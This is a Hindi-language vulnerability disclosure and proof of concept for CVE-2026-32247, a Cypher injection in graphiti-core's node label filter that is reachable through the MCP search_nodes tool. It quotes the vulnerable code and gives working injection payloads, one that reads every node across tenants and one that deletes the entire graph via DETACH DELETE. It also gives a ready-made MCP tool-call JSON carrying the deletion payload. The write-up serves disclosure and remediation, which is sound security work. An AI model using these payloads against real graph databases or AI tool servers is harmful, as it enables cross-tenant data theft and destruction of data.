
CVE-2026-32247 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो graphiti-core में असैनिटाइज़्ड node_labels के माध्यम से एक Cypher इंजेक्शन है, जो MCP search_nodes के ज़रिए डेटा एक्सफ़िल्ट्रेशन और ग्राफ़ डिलीशन प्रदर्शित करता है।
गंभीरता: उच्च (CVSS 8.1)
CWE: CWE-943 — डेटा क्वेरी लॉजिक में विशेष तत्वों का अनुचित निष्प्रभावीकरण
प्रभावित: graphiti-core <= 0.28.1 (pip)
में ठीक किया गया: 0.28.2
सलाह: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
श्रेय: Romain Deperne
graphiti-core उपयोगकर्ता-प्रदत्त नोड लेबल स्ट्रिंग्स को | के साथ जोड़कर और उन्हें एक कच्ची क्वेरी में संयोजित करके Cypher WHERE क्लॉज़ बनाता है। एक हमलावर मनमाने Cypher ऑपरेटर इंजेक्ट कर सकता है, सभी टेनेंट्स में किसी भी ग्राफ़ नोड से डेटा चुरा सकता है, या पूरे ग्राफ़ को हटा सकता है — श्रृंखला में कहीं भी कोई पैरामीटरीकरण नहीं, कोई सत्यापन नहीं।
मैंने MCP टूल और ग्राफ़ डेटाबेस के बीच की सीमा पर क्वेरी निर्माण की जाँच की। search_filters.py में, 'n:' + node_labels ने entity_types टूल पैरामीटर से मानों को सीधे एक Cypher क्वेरी में संयोजित किया।
जिस चीज़ ने इसे एक सामान्य इंजेक्शन से आगे दिलचस्प बनाया: Cypher का WITH क्लॉज़ आपको WHERE संदर्भ से बाहर निकलने और एक पूरी तरह से नई पाइपलाइन शुरू करने देता है। तो ) कोष्ठकबद्ध लेबल अभिव्यक्ति को बंद कर देता है, WITH n एक नए क्लॉज़ में परिवर्तित हो जाता है, और // मूल क्वेरी के शेष भाग को चुपचाप हटा देता है। एक पेलोड, पूर्ण ग्राफ़ पहुँच।
मैंने पहले एक स्टैंडअलोन स्क्रिप्ट में क्वेरी निर्माण को पुनः उत्पन्न किया, फिर रिपोर्ट करने से पहले एक ग्राफ़ डेटाबेस के विरुद्ध विनाशकारी मामले को सत्यापित किया।
फ़ाइल: graphiti_core/search/search_filters.py, पंक्तियाँ 91–92 और 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
प्रवेश बिंदु: mcp_server/src/graphiti_mcp_server.py, पंक्ति 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
entity_types पैरामीटर MCP search_nodes टूल कॉल से सीधे क्वेरी बिल्डर में प्रवाहित होता है। Neo4j और FalkorDB दोनों बैकएंड प्रभावित हैं। Kuzu बैकएंड प्रभावित नहीं है क्योंकि यह पैरामीटरयुक्त क्वेरी का उपयोग करता है।
node_label_filter मान (n:Label1|Label2) को Cypher क्वेरी में इस प्रकार एम्बेड किया जाता है:
WHERE (n:Label1|Label2) AND ...
क्योंकि लेबल को | से जोड़ा जाता है और कॉलर द्वारा कोष्ठकों में लपेटा जाता है, एक हमलावर को केवल अभिव्यक्ति को ) से बंद करना होता है और नई Cypher क्लॉज़ इंजेक्ट करनी होती है। // टिप्पणी ऑपरेटर मूल क्वेरी के शेष भाग को दबा देता है।
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
MCP टूल कॉल के माध्यम से:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_id नेमस्पेस में किसी भी नोड/रिलेशनशिप को पढ़ेंDETACH DELETE पूरे ग्राफ़ को मिटा देता हैgroup_id फ़िल्टर इंजेक्टेबल लेबल फ़िल्टर के बाद लागू होता है — एक WITH क्लॉज़ इंजेक्ट करने से यह पूरी तरह बायपास हो जाता हैपैच किया गया संस्करण इंटरपोलेशन से पहले अल्फ़ान्यूमेरिक अक्षरों की अनुमति-सूची के विरुद्ध नोड लेबल को मान्य करता है, और फ़ुलटेक्स्ट सर्च पाथ group_id मानों के लिए पैरामीटरयुक्त क्वेरी का उपयोग करता है।